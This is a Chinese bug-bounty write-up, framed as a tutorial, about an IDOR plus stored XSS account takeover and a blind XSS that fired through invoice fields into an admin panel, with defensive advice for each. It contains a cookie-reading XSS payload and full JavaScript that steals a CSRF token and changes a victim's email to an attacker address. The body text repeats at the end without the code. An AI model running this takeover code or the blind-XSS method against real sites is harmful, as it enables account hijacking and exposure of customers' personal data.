挖洞经验 | 记我的一次账号劫持和BLIND XSS漏洞发现过程
字数 1288 2025-08-18 11:37:20

账号劫持与BLIND XSS漏洞发现实战教学

漏洞概述

本教学文档基于HackerOne上一个真实漏洞挖掘案例,涉及两个关键漏洞的发现和利用:

  1. IDOR漏洞导致的账号劫持:通过不安全的直接对象引用实现存储型XSS攻击
  2. BLIND XSS漏洞:通过电子发票生成功能触发的跨站脚本攻击

这两个漏洞共获得\(7000美金奖励(每个漏洞\)3500)。

第一部分:IDOR漏洞与账号劫持

漏洞发现过程

  1. 初始发现:在目标网站的高级功能模块(PRO features)中发现不安全的直接对象引用(IDOR)漏洞
  2. 漏洞验证:能够在每个账户中创建一个element x元素
  3. 漏洞升级:在文本区域的element x中注入JavaScript脚本

漏洞利用技术细节

IDOR漏洞原理

  • 定义:不安全的直接对象引用允许攻击者绕过身份验证机制
  • 危害:通过修改参数值直接访问其他用户的资源
  • 根本原因:系统在获取对象前未进行用户权限验证

存储型XSS利用

  • Payload示例
    '%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E
    
  • 利用条件
    • 目标网站未设置CSP(内容安全策略)白名单机制
    • 存在存储型XSS注入点

账号劫持完整攻击链

  1. 窃取CSRF令牌

    function stealEmailToken(){
      var fetchHash = new XMLHttpRequest();
      var url = "https://--domain--/--path--/personal/update_email.html";
      var datax;
      var all_elements;
      var vc_email_token='initial';
    
      fetchHash.onreadystatechange=function (){
        if(fetchHash.readyState==4 && fetchHash.status==200){
          datax = fetchHash.responseText;
          var loot = document.createElement('html');
          loot.innerHTML = datax;
          all_elements = loot.getElementsByTagName('input');
          vc_email_token = all_elements[2].value;
          alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi');
          //hack(vc_email_token);
        }
      }
    
      fetchHash.open("GET",url, true);
      fetchHash.withCredentials=true;
      fetchHash.send();
    }
    stealEmailToken();
    
  2. 修改用户邮箱

    function hack(emailToken){
      var HackAccount = new XMLHttpRequest();
      url= "https://--domain--/--path--/personal/update_email.html";
      HackAccount.open("POST",url, true);
      HackAccount.withCredentials=true;
      var data= 'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken;
      HackAccount.setRequestHeader('X-Requested-With','XMLHttpRequest');
      HackAccount.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
      HackAccount.send(data);
    }
    

防御措施

  1. 实施严格的权限验证机制
  2. 对所有用户输入进行过滤和转义
  3. 设置CSP(内容安全策略)白名单
  4. 对敏感操作使用一次性令牌

第二部分:BLIND XSS漏洞

漏洞发现过程

  1. 测试环境:目标网站的付费专业功能模块
  2. 支付方式:信用卡和银行转账两种选择
  3. 攻击面:银行转账方式生成的电子发票功能

漏洞利用技术细节

初始尝试

  1. 尝试在PDF电子发票生成过程中注入HTML元素
  2. 直接注入脚本未成功

BLIND XSS利用

  1. 使用XSSHunter生成Payload

    • 在电子发票的姓名和地址字段插入BLIND XSS Payload
    • 等待后台管理面板触发
  2. 漏洞触发

    • 几天后XSSHunter账户收到触发通知
    • Payload在管理区域成功执行
  3. 影响范围

    • 可查看1000多名顾客的电子发票记录
    • 获取敏感个人信息

漏洞原理分析

  • 根本原因:电子发票自动生成过程中未对输入进行安全过滤
  • 特殊点:XSS触发点在后台管理界面而非前端

防御措施

  1. 对所有用户输入进行严格的过滤和编码
  2. 实施输出编码策略
  3. 使用内容安全策略(CSP)
  4. 对管理后台进行额外的安全审计

漏洞挖掘方法论

  1. 高级功能测试:付费功能往往安全测试较少
  2. 文件生成功能:PDF、Excel等文件生成是常见攻击面
  3. BLIND XSS策略
    • 在所有可能的输入点插入XSSHunter Payload
    • 耐心等待后台触发
  4. 漏洞组合:寻找漏洞组合利用的可能性(IDOR+XSS)

总结

本案例展示了两种不同类型但同样危险的漏洞:

  1. IDOR+存储型XSS:直接导致账号劫持
  2. BLIND XSS:影响后台管理系统的严重漏洞

漏洞挖掘的关键在于:

  • 全面测试所有功能模块
  • 不放过任何用户输入点
  • 善用自动化工具(XSSHunter)
  • 理解业务逻辑中的潜在风险点

通过系统性的测试方法,即使是看似安全的系统也可能发现严重漏洞。

账号劫持与BLIND XSS漏洞发现实战教学 漏洞概述 本教学文档基于HackerOne上一个真实漏洞挖掘案例,涉及两个关键漏洞的发现和利用: IDOR漏洞导致的账号劫持 :通过不安全的直接对象引用实现存储型XSS攻击 BLIND XSS漏洞 :通过电子发票生成功能触发的跨站脚本攻击 这两个漏洞共获得$7000美金奖励(每个漏洞$3500)。 第一部分:IDOR漏洞与账号劫持 漏洞发现过程 初始发现 :在目标网站的高级功能模块(PRO features)中发现不安全的直接对象引用(IDOR)漏洞 漏洞验证 :能够在每个账户中创建一个 element x 元素 漏洞升级 :在文本区域的element x中注入JavaScript脚本 漏洞利用技术细节 IDOR漏洞原理 定义 :不安全的直接对象引用允许攻击者绕过身份验证机制 危害 :通过修改参数值直接访问其他用户的资源 根本原因 :系统在获取对象前未进行用户权限验证 存储型XSS利用 Payload示例 : 利用条件 : 目标网站未设置CSP(内容安全策略)白名单机制 存在存储型XSS注入点 账号劫持完整攻击链 窃取CSRF令牌 : 修改用户邮箱 : 防御措施 实施严格的权限验证机制 对所有用户输入进行过滤和转义 设置CSP(内容安全策略)白名单 对敏感操作使用一次性令牌 第二部分:BLIND XSS漏洞 漏洞发现过程 测试环境 :目标网站的付费专业功能模块 支付方式 :信用卡和银行转账两种选择 攻击面 :银行转账方式生成的电子发票功能 漏洞利用技术细节 初始尝试 尝试在PDF电子发票生成过程中注入HTML元素 直接注入脚本未成功 BLIND XSS利用 使用XSSHunter生成Payload : 在电子发票的姓名和地址字段插入BLIND XSS Payload 等待后台管理面板触发 漏洞触发 : 几天后XSSHunter账户收到触发通知 Payload在管理区域成功执行 影响范围 : 可查看1000多名顾客的电子发票记录 获取敏感个人信息 漏洞原理分析 根本原因 :电子发票自动生成过程中未对输入进行安全过滤 特殊点 :XSS触发点在后台管理界面而非前端 防御措施 对所有用户输入进行严格的过滤和编码 实施输出编码策略 使用内容安全策略(CSP) 对管理后台进行额外的安全审计 漏洞挖掘方法论 高级功能测试 :付费功能往往安全测试较少 文件生成功能 :PDF、Excel等文件生成是常见攻击面 BLIND XSS策略 : 在所有可能的输入点插入XSSHunter Payload 耐心等待后台触发 漏洞组合 :寻找漏洞组合利用的可能性(IDOR+XSS) 总结 本案例展示了两种不同类型但同样危险的漏洞: IDOR+存储型XSS :直接导致账号劫持 BLIND XSS :影响后台管理系统的严重漏洞 漏洞挖掘的关键在于: 全面测试所有功能模块 不放过任何用户输入点 善用自动化工具(XSSHunter) 理解业务逻辑中的潜在风险点 通过系统性的测试方法,即使是看似安全的系统也可能发现严重漏洞。